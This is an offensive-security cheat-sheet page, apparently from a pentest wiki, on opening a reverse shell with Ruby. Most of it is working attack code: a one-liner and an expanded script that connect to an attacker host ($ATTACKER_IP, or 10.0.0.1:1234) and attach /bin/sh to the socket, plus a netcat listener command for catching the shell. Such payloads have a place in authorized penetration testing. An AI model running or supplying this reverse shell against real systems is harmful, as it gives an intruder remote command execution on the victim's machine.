Ruby Reverse Shell

A compact reverse shell in Ruby, leveraging the standard socket library. Ruby is present on many Linux systems and macOS by default, making this a reliable fallback when other payloads are unavailable.

One-liner

ruby -rsocket -e'f=TCPSocket.open("$ATTACKER_IP",$ATTACKER_PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Expanded form

require "socket"
 
attacker_ip   = "10.0.0.1"
attacker_port = 1234
 
f = TCPSocket.open(attacker_ip, attacker_port).to_i
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d", f, f, f)

The .to_i call extracts the socket’s file descriptor, which is then duplicated onto stdin, stdout, and stderr.

Catching the shell

Use netcat or socat:

nc -lvnp 1234

For a fully interactive TTY, upgrade after catching — see shell-stabilization.

Sources

• Reverse Shell Cheat Sheet — PayloadsAllTheThings / InternalAllTheThings
• Reverse Shell Cheat Sheet — PentestMonkey
• Reverse Shells — slyth11907/Cheatsheets

Related: perl-reverse-shell, powershell-reverse-shell, shell-stabilization